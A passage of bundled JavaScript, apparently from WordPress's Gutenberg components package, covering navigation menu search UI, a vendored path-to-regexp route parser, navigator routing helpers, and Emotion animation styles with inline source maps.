44244 const onCloseSearch = () => {
44245 setIsSearching(false);
44246 setTimeout(() => {
44247 searchButtonRef.current?.focus();
44248 }, SEARCH_FOCUS_DELAY);
44249 };
44250 const menuTitleId = `components-navigation__menu-title-${menu2}`;
44251 const searchButtonLabel = (0, import_i18n66.sprintf)((0, import_i18n66.__)("Search in %s"), title);
44252 return /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(MenuTitleUI, {
44253 className: "components-navigation__menu-title",
44254 children: [!isSearching && /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(GroupTitleUI, {
44255 as: "h2",
44256 className: "components-navigation__menu-title-heading",
44257 level: 3,
44258 children: [/* @__PURE__ */ (0, import_jsx_runtime238.jsx)("span", {
44259 id: menuTitleId,
44260 children: title
44261 }), (hasSearch || titleAction) && /* @__PURE__ */ (0, import_jsx_runtime238.jsxs)(MenuTitleActionsUI, {
44262 children: [titleAction, hasSearch && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(button_default, {
44263 size: "small",
44264 variant: "tertiary",
44265 label: searchButtonLabel,
44266 onClick: () => setIsSearching(true),
44267 ref: searchButtonRef,
44268 children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(icon_default2, {
44269 icon: search_default
44270 })
44271 })]
44272 })]
44273 }), isSearching && /* @__PURE__ */ (0, import_jsx_runtime238.jsx)("div", {
44274 className: getAnimateClassName({
44275 type: "slide-in",
44276 origin: "left"
44277 }),
44278 children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(menu_title_search_default, {
44279 onCloseSearch,
44280 onSearch,
44281 search,
44282 title
44283 })
44284 })]
44285 });
44286 }
44287
44288 // packages/components/build-module/navigation/menu/search-no-results-found.mjs
44289 var import_i18n67 = __toESM(require_i18n(), 1);
44290 var import_jsx_runtime239 = __toESM(require_jsx_runtime(), 1);
44291 function NavigationSearchNoResultsFound({
44292 search
44293 }) {
44294 const {
44295 navigationTree: {
44296 items
44297 }
44298 } = useNavigationContext();
44299 const resultsCount = Object.values(items).filter((item2) => item2._isVisible).length;
44300 if (!search || !!resultsCount) {
44301 return null;
44302 }
44303 return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(ItemBaseUI, {
44304 children: /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(ItemUI, {
44305 children: [(0, import_i18n67.__)("No results found."), " "]
44306 })
44307 });
44308 }
44309
44310 // packages/components/build-module/navigation/menu/index.mjs
44311 var import_jsx_runtime240 = __toESM(require_jsx_runtime(), 1);
44312 function NavigationMenu(props) {
44313 const {
44314 backButtonLabel,
44315 children,
44316 className: className2,
44317 hasSearch,
44318 menu: menu2 = ROOT_MENU,
44319 onBackButtonClick,
44320 onSearch: setControlledSearch,
44321 parentMenu,
44322 search: controlledSearch,
44323 isSearchDebouncing,
44324 title,
44325 titleAction
44326 } = props;
44327 const [uncontrolledSearch, setUncontrolledSearch] = (0, import_element165.useState)("");
44328 useNavigationTreeMenu(props);
44329 const {
44330 activeMenu
44331 } = useNavigationContext();
44332 const context = {
44333 menu: menu2,
44334 search: uncontrolledSearch
44335 };
44336 if (activeMenu !== menu2) {
44337 return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(NavigationMenuContext.Provider, {
44338 value: context,
44339 children
44340 });
44341 }
44342 const isControlledSearch = !!setControlledSearch;
44343 const search = isControlledSearch ? controlledSearch : uncontrolledSearch;
44344 const onSearch = isControlledSearch ? setControlledSearch : setUncontrolledSearch;
44345 const menuTitleId = `components-navigation__menu-title-${menu2}`;
44346 const classes = clsx_default("components-navigation__menu", className2);
44347 return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(NavigationMenuContext.Provider, {
44348 value: context,
44349 children: /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)(MenuUI, {
44350 className: classes,
44351 children: [(parentMenu || onBackButtonClick) && /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(back_button_default, {
44352 backButtonLabel,
44353 parentMenu,
44354 onClick: onBackButtonClick
44355 }), title && /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(NavigationMenuTitle, {
44356 hasSearch,
44357 onSearch,
44358 search,
44359 title,
44360 titleAction
44361 }), /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(menu_default2, {
44362 children: /* @__PURE__ */ (0, import_jsx_runtime240.jsxs)("ul", {
44363 "aria-labelledby": menuTitleId,
44364 children: [children, search && !isSearchDebouncing && /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(NavigationSearchNoResultsFound, {
44365 search
44366 })]
44367 })
44368 })]
44369 })
44370 });
44371 }
44372 var menu_default3 = NavigationMenu;
44373
44374 // packages/components/build-module/navigator/navigator/component.mjs
44375 var import_deprecated22 = __toESM(require_deprecated(), 1);
44376 var import_element167 = __toESM(require_element(), 1);
44377 var import_is_shallow_equal3 = __toESM(require_is_shallow_equal(), 1);
44378 var import_warning7 = __toESM(require_warning(), 1);
44379
44380 // packages/components/node_modules/path-to-regexp/dist.es2015/index.js
44381 function lexer(str) {
44382 var tokens = [];
44383 var i3 = 0;
44384 while (i3 < str.length) {
44385 var char2 = str[i3];
44386 if (char2 === "*" || char2 === "+" || char2 === "?") {
44387 tokens.push({ type: "MODIFIER", index: i3, value: str[i3++] });
44388 continue;
44389 }
44390 if (char2 === "\\") {
44391 tokens.push({ type: "ESCAPED_CHAR", index: i3++, value: str[i3++] });
44392 continue;
44393 }
44394 if (char2 === "{") {
44395 tokens.push({ type: "OPEN", index: i3, value: str[i3++] });
44396 continue;
44397 }
44398 if (char2 === "}") {
44399 tokens.push({ type: "CLOSE", index: i3, value: str[i3++] });
44400 continue;
44401 }
44402 if (char2 === ":") {
44403 var name = "";
44404 var j2 = i3 + 1;
44405 while (j2 < str.length) {
44406 var code = str.charCodeAt(j2);
44407 if (
44408 // `0-9`
44409 code >= 48 && code <= 57 || // `A-Z`
44410 code >= 65 && code <= 90 || // `a-z`
44411 code >= 97 && code <= 122 || // `_`
44412 code === 95
44413 ) {
44414 name += str[j2++];
44415 continue;
44416 }
44417 break;
44418 }
44419 if (!name)
44420 throw new TypeError("Missing parameter name at ".concat(i3));
44421 tokens.push({ type: "NAME", index: i3, value: name });
44422 i3 = j2;
44423 continue;
44424 }
44425 if (char2 === "(") {
44426 var count = 1;
44427 var pattern = "";
44428 var j2 = i3 + 1;
44429 if (str[j2] === "?") {
44430 throw new TypeError('Pattern cannot start with "?" at '.concat(j2));
44431 }
44432 while (j2 < str.length) {
44433 if (str[j2] === "\\") {
44434 pattern += str[j2++] + str[j2++];
44435 continue;
44436 }
44437 if (str[j2] === ")") {
44438 count--;
44439 if (count === 0) {
44440 j2++;
44441 break;
44442 }
44443 } else if (str[j2] === "(") {
44444 count++;
44445 if (str[j2 + 1] !== "?") {
44446 throw new TypeError("Capturing groups are not allowed at ".concat(j2));
44447 }
44448 }
44449 pattern += str[j2++];
44450 }
44451 if (count)
44452 throw new TypeError("Unbalanced pattern at ".concat(i3));
44453 if (!pattern)
44454 throw new TypeError("Missing pattern at ".concat(i3));
44455 tokens.push({ type: "PATTERN", index: i3, value: pattern });
44456 i3 = j2;
44457 continue;
44458 }
44459 tokens.push({ type: "CHAR", index: i3, value: str[i3++] });
44460 }
44461 tokens.push({ type: "END", index: i3, value: "" });
44462 return tokens;
44463 }
44464 function parse3(str, options2) {
44465 if (options2 === void 0) {
44466 options2 = {};
44467 }
44468 var tokens = lexer(str);
44469 var _a = options2.prefixes, prefixes = _a === void 0 ? "./" : _a, _b = options2.delimiter, delimiter2 = _b === void 0 ? "/#?" : _b;
44470 var result = [];
44471 var key = 0;
44472 var i3 = 0;
44473 var path = "";
44474 var tryConsume = function(type) {
44475 if (i3 < tokens.length && tokens[i3].type === type)
44476 return tokens[i3++].value;
44477 };
44478 var mustConsume = function(type) {
44479 var value2 = tryConsume(type);
44480 if (value2 !== void 0)
44481 return value2;
44482 var _a2 = tokens[i3], nextType = _a2.type, index2 = _a2.index;
44483 throw new TypeError("Unexpected ".concat(nextType, " at ").concat(index2, ", expected ").concat(type));
44484 };
44485 var consumeText = function() {
44486 var result2 = "";
44487 var value2;
44488 while (value2 = tryConsume("CHAR") || tryConsume("ESCAPED_CHAR")) {
44489 result2 += value2;
44490 }
44491 return result2;
44492 };
44493 var isSafe = function(value2) {
44494 for (var _i = 0, delimiter_1 = delimiter2; _i < delimiter_1.length; _i++) {
44495 var char3 = delimiter_1[_i];
44496 if (value2.indexOf(char3) > -1)
44497 return true;
44498 }
44499 return false;
44500 };
44501 var safePattern = function(prefix3) {
44502 var prev2 = result[result.length - 1];
44503 var prevText = prefix3 || (prev2 && typeof prev2 === "string" ? prev2 : "");
44504 if (prev2 && !prevText) {
44505 throw new TypeError('Must have text between two parameters, missing text after "'.concat(prev2.name, '"'));
44506 }
44507 if (!prevText || isSafe(prevText))
44508 return "[^".concat(escapeString(delimiter2), "]+?");
44509 return "(?:(?!".concat(escapeString(prevText), ")[^").concat(escapeString(delimiter2), "])+?");
44510 };
44511 while (i3 < tokens.length) {
44512 var char2 = tryConsume("CHAR");
44513 var name = tryConsume("NAME");
44514 var pattern = tryConsume("PATTERN");
44515 if (name || pattern) {
44516 var prefix2 = char2 || "";
44517 if (prefixes.indexOf(prefix2) === -1) {
44518 path += prefix2;
44519 prefix2 = "";
44520 }
44521 if (path) {
44522 result.push(path);
44523 path = "";
44524 }
44525 result.push({
44526 name: name || key++,
44527 prefix: prefix2,
44528 suffix: "",
44529 pattern: pattern || safePattern(prefix2),
44530 modifier: tryConsume("MODIFIER") || ""
44531 });
44532 continue;
44533 }
44534 var value = char2 || tryConsume("ESCAPED_CHAR");
44535 if (value) {
44536 path += value;
44537 continue;
44538 }
44539 if (path) {
44540 result.push(path);
44541 path = "";
44542 }
44543 var open = tryConsume("OPEN");
44544 if (open) {
44545 var prefix2 = consumeText();
44546 var name_1 = tryConsume("NAME") || "";
44547 var pattern_1 = tryConsume("PATTERN") || "";
44548 var suffix = consumeText();
44549 mustConsume("CLOSE");
44550 result.push({
44551 name: name_1 || (pattern_1 ? key++ : ""),
44552 pattern: name_1 && !pattern_1 ? safePattern(prefix2) : pattern_1,
44553 prefix: prefix2,
44554 suffix,
44555 modifier: tryConsume("MODIFIER") || ""
44556 });
44557 continue;
44558 }
44559 mustConsume("END");
44560 }
44561 return result;
44562 }
44563 function match2(str, options2) {
44564 var keys = [];
44565 var re4 = pathToRegexp(str, keys, options2);
44566 return regexpToFunction(re4, keys, options2);
44567 }
44568 function regexpToFunction(re4, keys, options2) {
44569 if (options2 === void 0) {
44570 options2 = {};
44571 }
44572 var _a = options2.decode, decode = _a === void 0 ? function(x2) {
44573 return x2;
44574 } : _a;
44575 return function(pathname) {
44576 var m3 = re4.exec(pathname);
44577 if (!m3)
44578 return false;
44579 var path = m3[0], index2 = m3.index;
44580 var params = /* @__PURE__ */ Object.create(null);
44581 var _loop_1 = function(i4) {
44582 if (m3[i4] === void 0)
44583 return "continue";
44584 var key = keys[i4 - 1];
44585 if (key.modifier === "*" || key.modifier === "+") {
44586 params[key.name] = m3[i4].split(key.prefix + key.suffix).map(function(value) {
44587 return decode(value, key);
44588 });
44589 } else {
44590 params[key.name] = decode(m3[i4], key);
44591 }
44592 };
44593 for (var i3 = 1; i3 < m3.length; i3++) {
44594 _loop_1(i3);
44595 }
44596 return { path, index: index2, params };
44597 };
44598 }
44599 function escapeString(str) {
44600 return str.replace(/([.+*?=^!:${}()[\]|/\\])/g, "\\$1");
44601 }
44602 function flags(options2) {
44603 return options2 && options2.sensitive ? "" : "i";
44604 }
44605 function regexpToRegexp(path, keys) {
44606 if (!keys)
44607 return path;
44608 var groupsRegex = /\((?:\?<(.*?)>)?(?!\?)/g;
44609 var index2 = 0;
44610 var execResult = groupsRegex.exec(path.source);
44611 while (execResult) {
44612 keys.push({
44613 // Use parenthesized substring match if available, index otherwise
44614 name: execResult[1] || index2++,
44615 prefix: "",
44616 suffix: "",
44617 modifier: "",
44618 pattern: ""
44619 });
44620 execResult = groupsRegex.exec(path.source);
44621 }
44622 return path;
44623 }
44624 function arrayToRegexp(paths, keys, options2) {
44625 var parts = paths.map(function(path) {
44626 return pathToRegexp(path, keys, options2).source;
44627 });
44628 return new RegExp("(?:".concat(parts.join("|"), ")"), flags(options2));
44629 }
44630 function stringToRegexp(path, keys, options2) {
44631 return tokensToRegexp(parse3(path, options2), keys, options2);
44632 }
44633 function tokensToRegexp(tokens, keys, options2) {
44634 if (options2 === void 0) {
44635 options2 = {};
44636 }
44637 var _a = options2.strict, strict = _a === void 0 ? false : _a, _b = options2.start, start = _b === void 0 ? true : _b, _c = options2.end, end = _c === void 0 ? true : _c, _d = options2.encode, encode = _d === void 0 ? function(x2) {
44638 return x2;
44639 } : _d, _e = options2.delimiter, delimiter2 = _e === void 0 ? "/#?" : _e, _f = options2.endsWith, endsWith2 = _f === void 0 ? "" : _f;
44640 var endsWithRe = "[".concat(escapeString(endsWith2), "]|$");
44641 var delimiterRe = "[".concat(escapeString(delimiter2), "]");
44642 var route = start ? "^" : "";
44643 for (var _i = 0, tokens_1 = tokens; _i < tokens_1.length; _i++) {
44644 var token2 = tokens_1[_i];
44645 if (typeof token2 === "string") {
44646 route += escapeString(encode(token2));
44647 } else {
44648 var prefix2 = escapeString(encode(token2.prefix));
44649 var suffix = escapeString(encode(token2.suffix));
44650 if (token2.pattern) {
44651 if (keys)
44652 keys.push(token2);
44653 if (prefix2 || suffix) {
44654 if (token2.modifier === "+" || token2.modifier === "*") {
44655 var mod = token2.modifier === "*" ? "?" : "";
44656 route += "(?:".concat(prefix2, "((?:").concat(token2.pattern, ")(?:").concat(suffix).concat(prefix2, "(?:").concat(token2.pattern, "))*)").concat(suffix, ")").concat(mod);
44657 } else {
44658 route += "(?:".concat(prefix2, "(").concat(token2.pattern, ")").concat(suffix, ")").concat(token2.modifier);
44659 }
44660 } else {
44661 if (token2.modifier === "+" || token2.modifier === "*") {
44662 throw new TypeError('Can not repeat "'.concat(token2.name, '" without a prefix and suffix'));
44663 }
44664 route += "(".concat(token2.pattern, ")").concat(token2.modifier);
44665 }
44666 } else {
44667 route += "(?:".concat(prefix2).concat(suffix, ")").concat(token2.modifier);
44668 }
44669 }
44670 }
44671 if (end) {
44672 if (!strict)
44673 route += "".concat(delimiterRe, "?");
44674 route += !options2.endsWith ? "$" : "(?=".concat(endsWithRe, ")");
44675 } else {
44676 var endToken = tokens[tokens.length - 1];
44677 var isEndDelimited = typeof endToken === "string" ? delimiterRe.indexOf(endToken[endToken.length - 1]) > -1 : endToken === void 0;
44678 if (!strict) {
44679 route += "(?:".concat(delimiterRe, "(?=").concat(endsWithRe, "))?");
44680 }
44681 if (!isEndDelimited) {
44682 route += "(?=".concat(delimiterRe, "|").concat(endsWithRe, ")");
44683 }
44684 }
44685 return new RegExp(route, flags(options2));
44686 }
44687 function pathToRegexp(path, keys, options2) {
44688 if (path instanceof RegExp)
44689 return regexpToRegexp(path, keys);
44690 if (Array.isArray(path))
44691 return arrayToRegexp(path, keys, options2);
44692 return stringToRegexp(path, keys, options2);
44693 }
44694
44695 // packages/components/build-module/navigator/utils/router.mjs
44696 function matchPath(path, pattern) {
44697 const matchingFunction = match2(pattern, {
44698 decode: decodeURIComponent
44699 });
44700 return matchingFunction(path);
44701 }
44702 function patternMatch(path, screens) {
44703 for (const screen of screens) {
44704 const matched = matchPath(path, screen.path);
44705 if (matched) {
44706 return {
44707 params: matched.params,
44708 id: screen.id
44709 };
44710 }
44711 }
44712 return void 0;
44713 }
44714 function findParent(path, screens) {
44715 if (!path.startsWith("/")) {
44716 return void 0;
44717 }
44718 const pathParts = path.split("/");
44719 let parentPath;
44720 while (pathParts.length > 1 && parentPath === void 0) {
44721 pathParts.pop();
44722 const potentialParentPath = pathParts.join("/") === "" ? "/" : pathParts.join("/");
44723 if (screens.find((screen) => {
44724 return matchPath(potentialParentPath, screen.path) !== false;
44725 })) {
44726 parentPath = potentialParentPath;
44727 }
44728 }
44729 return parentPath;
44730 }
44731
44732 // packages/components/build-module/navigator/context.mjs
44733 var import_element166 = __toESM(require_element(), 1);
44734 var initialContextValue = {
44735 location: {},
44736 goTo: () => {
44737 },
44738 goBack: () => {
44739 },
44740 goToParent: () => {
44741 },
44742 addScreen: () => {
44743 },
44744 removeScreen: () => {
44745 },
44746 params: {}
44747 };
44748 var NavigatorContext = (0, import_element166.createContext)(initialContextValue);
44749 NavigatorContext.displayName = "NavigatorContext";
44750
44751 // packages/components/build-module/navigator/styles.mjs
44752 function _EMOTION_STRINGIFIED_CSS_ERROR__36() {
44753 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
44754 }
44755 var navigatorWrapper = false ? {
44756 name: "1br0vvk",
44757 styles: "position:relative;overflow-x:clip;contain:layout;display:grid;grid-template-columns:1fr;grid-template-rows:1fr;align-items:start"
44758 } : {
44759 name: "il0xvu-navigatorWrapper",
44760 styles: "position:relative;overflow-x:clip;contain:layout;display:grid;grid-template-columns:1fr;grid-template-rows:1fr;align-items:start;label:navigatorWrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFLbUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JXcmFwcGVyID0gY3NzYFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFByZXZlbnRzIGhvcml6b250YWwgb3ZlcmZsb3cgd2hpbGUgYW5pbWF0aW5nIHNjcmVlbiB0cmFuc2l0aW9ucyAqL1xuXHRvdmVyZmxvdy14OiBjbGlwO1xuXHQvKlxuXHQgKiBNYXJrIHRoaXMgRE9NIHN1YnRyZWUgYXMgaXNvbGF0ZWQgd2hlbiBpdCBjb21lcyB0byBsYXlvdXQgY2FsY3VsYXRpb25zLFxuXHQgKiBwcm92aWRpbmcgcGVyZm9ybWFuY2UgYmVuZWZpdHMuXG5cdCAqL1xuXHRjb250YWluOiBsYXlvdXQ7XG5cblx0ZGlzcGxheTogZ3JpZDtcblx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7XG5cdGdyaWQtdGVtcGxhdGUtcm93czogMWZyO1xuXHRhbGlnbi1pdGVtczogc3RhcnQ7XG5gO1xuXG5jb25zdCBmYWRlSW4gPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdG9wYWNpdHk6IDAsXG5cdH0sXG59ICk7XG5cbmNvbnN0IGZhZGVPdXQgPSBrZXlmcmFtZXMoIHtcblx0dG86IHtcblx0XHRvcGFjaXR5OiAwLFxuXHR9LFxufSApO1xuXG5leHBvcnQgY29uc3Qgc2xpZGVGcm9tUmlnaHQgPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoMTAwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlVG9MZWZ0ID0ga2V5ZnJhbWVzKCB7XG5cdHRvOiB7XG5cdFx0dHJhbnNmb3JtOiAndHJhbnNsYXRlWCgtODBweCknLFxuXHR9LFxufSApO1xuXG5leHBvcnQgY29uc3Qgc2xpZGVGcm9tTGVmdCA9IGtleWZyYW1lcygge1xuXHRmcm9tOiB7XG5cdFx0dHJhbnNmb3JtOiAndHJhbnNsYXRlWCgtMTAwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlVG9SaWdodCA9IGtleWZyYW1lcygge1xuXHR0bzoge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoODBweCknLFxuXHR9LFxufSApO1xuXG5jb25zdCBGQURFID0ge1xuXHREVVJBVElPTjogNzAsXG5cdEVBU0lORzogJ2xpbmVhcicsXG5cdERFTEFZOiB7XG5cdFx0SU46IDcwLFxuXHRcdE9VVDogNDAsXG5cdH0sXG59O1xuY29uc3QgU0xJREUgPSB7XG5cdERVUkFUSU9OOiAzMDAsXG5cdEVBU0lORzogJ2N1YmljLWJlemllcigwLjMzLCAwLCAwLCAxKScsXG59O1xuXG5leHBvcnQgY29uc3QgVE9UQUxfQU5JTUFUSU9OX0RVUkFUSU9OID0ge1xuXHRJTjogTWF0aC5tYXgoIEZBREUuRFVSQVRJT04gKyBGQURFLkRFTEFZLklOLCBTTElERS5EVVJBVElPTiApLFxuXHRPVVQ6IE1hdGgubWF4KCBGQURFLkRVUkFUSU9OICsgRkFERS5ERUxBWS5PVVQsIFNMSURFLkRVUkFUSU9OICksXG59O1xuXG5leHBvcnQgY29uc3QgQU5JTUFUSU9OX0VORF9OQU1FUyA9IHtcblx0ZW5kOiB7XG5cdFx0aW46IHNsaWRlRnJvbVJpZ2h0Lm5hbWUsXG5cdFx0b3V0OiBzbGlkZVRvTGVmdC5uYW1lLFxuXHR9LFxuXHRzdGFydDoge1xuXHRcdGluOiBzbGlkZUZyb21MZWZ0Lm5hbWUsXG5cdFx0b3V0OiBzbGlkZVRvUmlnaHQubmFtZSxcblx0fSxcbn07XG5cbmNvbnN0IEFOSU1BVElPTiA9IHtcblx0ZW5kOiB7XG5cdFx0aW46IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuSU4gfW1zIGJvdGggJHsgZmFkZUluIH0sICR7IFNMSURFLkRVUkFUSU9OIH1tcyAkeyBTTElERS5FQVNJTkcgfSBib3RoICR7IHNsaWRlRnJvbVJpZ2h0IH1cblx0XHRgLFxuXHRcdG91dDogY3NzYFxuXHRcdFx0JHsgRkFERS5EVVJBVElPTiB9bXMgJHsgRkFERS5FQVNJTkcgfSAkeyBGQURFLkRFTEFZXG5cdFx0XHRcdC5PVVQgfW1zIGJvdGggJHsgZmFkZU91dCB9LCAkeyBTTElERS5EVVJBVElPTiB9bXMgJHsgU0xJREUuRUFTSU5HIH0gYm90aCAkeyBzbGlkZVRvTGVmdCB9XG5cdFx0YCxcblx0fSxcblx0c3RhcnQ6IHtcblx0XHRpbjogY3NzYFxuXHRcdFx0JHsgRkFERS5EVVJBVElPTiB9bXMgJHsgRkFERS5FQVNJTkcgfSAkeyBGQURFLkRFTEFZXG5cdFx0XHRcdC5JTiB9bXMgYm90aCAkeyBmYWRlSW4gfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVGcm9tTGVmdCB9XG5cdFx0YCxcblx0XHRvdXQ6IGNzc2Bcblx0XHRcdCR7IEZBREUuRFVSQVRJT04gfW1zICR7IEZBREUuRUFTSU5HIH0gJHsgRkFERS5ERUxBWVxuXHRcdFx0XHQuT1VUIH1tcyBib3RoICR7IGZhZGVPdXQgfSwgJHsgU0xJREUuRFVSQVRJT04gfW1zICR7IFNMSURFLkVBU0lORyB9IGJvdGggJHsgc2xpZGVUb1JpZ2h0IH1cblx0XHRgLFxuXHR9LFxufSBhcyBjb25zdDtcbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JTY3JlZW5BbmltYXRpb24gPSBjc3NgXG5cdHotaW5kZXg6IDE7XG5cblx0JltkYXRhLWFuaW1hdGlvbi10eXBlPSdvdXQnXSB7XG5cdFx0ei1pbmRleDogMDtcblx0fVxuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdCY6bm90KCBbZGF0YS1za2lwLWFuaW1hdGlvbl0gKSB7XG5cdFx0XHQkeyAoIFsgJ3N0YXJ0JywgJ2VuZCcgXSBhcyBjb25zdCApLm1hcCggKCBkaXJlY3Rpb24gKSA9PlxuXHRcdFx0XHQoIFsgJ2luJywgJ291dCcgXSBhcyBjb25zdCApLm1hcChcblx0XHRcdFx0XHQoIHR5cGUgKSA9PiBjc3NgXG5cdFx0XHRcdFx0XHQmW2RhdGEtYW5pbWF0aW9uLWRpcmVjdGlvbj0nJHsgZGlyZWN0aW9uIH0nXVtkYXRhLWFuaW1hdGlvbi10eXBlPSckeyB0eXBlIH0nXSB7XG5cdFx0XHRcdFx0XHRcdGFuaW1hdGlvbjogJHsgQU5JTUFUSU9OWyBkaXJlY3Rpb24gXVsgdHlwZSBdIH07XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0YFxuXHRcdFx0XHQpXG5cdFx0XHQpIH1cblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JTY3JlZW4gPSBjc3NgXG5cdC8qIEVuc3VyZXMgaG9yaXpvbnRhbCBvdmVyZmxvdyBpcyB2aXN1YWxseSBhY2Nlc3NpYmxlICovXG5cdG92ZXJmbG93LXg6IGF1dG87XG5cdC8qIEluIGNhc2UgdGhlIHJvb3QgaGFzIGEgaGVpZ2h0LCBpdCBzaG91bGQgbm90IGJlIGV4Y2VlZGVkICovXG5cdG1heC1oZWlnaHQ6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cdGdyaWQtcm93OiAxIC8gLTE7XG5gO1xuIl19 */",
44761 toString: _EMOTION_STRINGIFIED_CSS_ERROR__36
44762 };
44763 var fadeIn2 = keyframes2({
44764 from: {
44765 opacity: 0
44766 }
44767 });
44768 var fadeOut = keyframes2({
44769 to: {
44770 opacity: 0
44771 }
44772 });
44773 var slideFromRight = keyframes2({
44774 from: {
44775 transform: "translateX(100px)"
44776 }
44777 });
44778 var slideToLeft = keyframes2({
44779 to: {
44780 transform: "translateX(-80px)"
44781 }
44782 });
44783 var slideFromLeft = keyframes2({
44784 from: {
44785 transform: "translateX(-100px)"
44786 }
44787 });
44788 var slideToRight = keyframes2({
44789 to: {
44790 transform: "translateX(80px)"
44791 }
44792 });
44793 var FADE = {
44794 DURATION: 70,
44795 EASING: "linear",
44796 DELAY: {
44797 IN: 70,
44798 OUT: 40
44799 }
44800 };
44801 var SLIDE = {
44802 DURATION: 300,
44803 EASING: "cubic-bezier(0.33, 0, 0, 1)"
44804 };
44805 var TOTAL_ANIMATION_DURATION = {
44806 IN: Math.max(FADE.DURATION + FADE.DELAY.IN, SLIDE.DURATION),
44807 OUT: Math.max(FADE.DURATION + FADE.DELAY.OUT, SLIDE.DURATION)
44808 };
44809 var ANIMATION_END_NAMES = {
44810 end: {
44811 in: slideFromRight.name,
44812 out: slideToLeft.name
44813 },
44814 start: {
44815 in: slideFromLeft.name,
44816 out: slideToRight.name
44817 }
44818 };
44819 var ANIMATION = {
44820 end: {
44821 in: /* @__PURE__ */ css(FADE.DURATION, "ms ", FADE.EASING, " ", FADE.DELAY.IN, "ms both ", fadeIn2, ",", SLIDE.DURATION, "ms ", SLIDE.EASING, " both ", slideFromRight, ";" + (false ? "" : ";label:in;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RlMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBuYXZpZ2F0b3JXcmFwcGVyID0gY3NzYFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFByZXZlbnRzIGhvcml6b250YWwgb3ZlcmZsb3cgd2hpbGUgYW5pbWF0aW5nIHNjcmVlbiB0cmFuc2l0aW9ucyAqL1xuXHRvdmVyZmxvdy14OiBjbGlwO1xuXHQvKlxuXHQgKiBNYXJrIHRoaXMgRE9NIHN1YnRyZWUgYXMgaXNvbGF0ZWQgd2hlbiBpdCBjb21lcyB0byBsYXlvdXQgY2FsY3VsYXRpb25zLFxuXHQgKiBwcm92aWRpbmcgcGVyZm9ybWFuY2UgYmVuZWZpdHMuXG5cdCAqL1xuXHRjb250YWluOiBsYXlvdXQ7XG5cblx0ZGlzcGxheTogZ3JpZDtcblx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7XG5cdGdyaWQtdGVtcGxhdGUtcm93czogMWZyO1xuXHRhbGlnbi1pdGVtczogc3RhcnQ7XG5gO1xuXG5jb25zdCBmYWRlSW4gPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdG9wYWNpdHk6IDAsXG5cdH0sXG59ICk7XG5cbmNvbnN0IGZhZGVPdXQgPSBrZXlmcmFtZXMoIHtcblx0dG86IHtcblx0XHRvcGFjaXR5OiAwLFxuXHR9LFxufSApO1xuXG5leHBvcnQgY29uc3Qgc2xpZGVGcm9tUmlnaHQgPSBrZXlmcmFtZXMoIHtcblx0ZnJvbToge1xuXHRcdHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoMTAwcHgpJyxcblx0fSxcbn0gKTtcblxuZXhwb3J0IGNvbnN0IHNsaWRlVG9MZWZ0ID0ga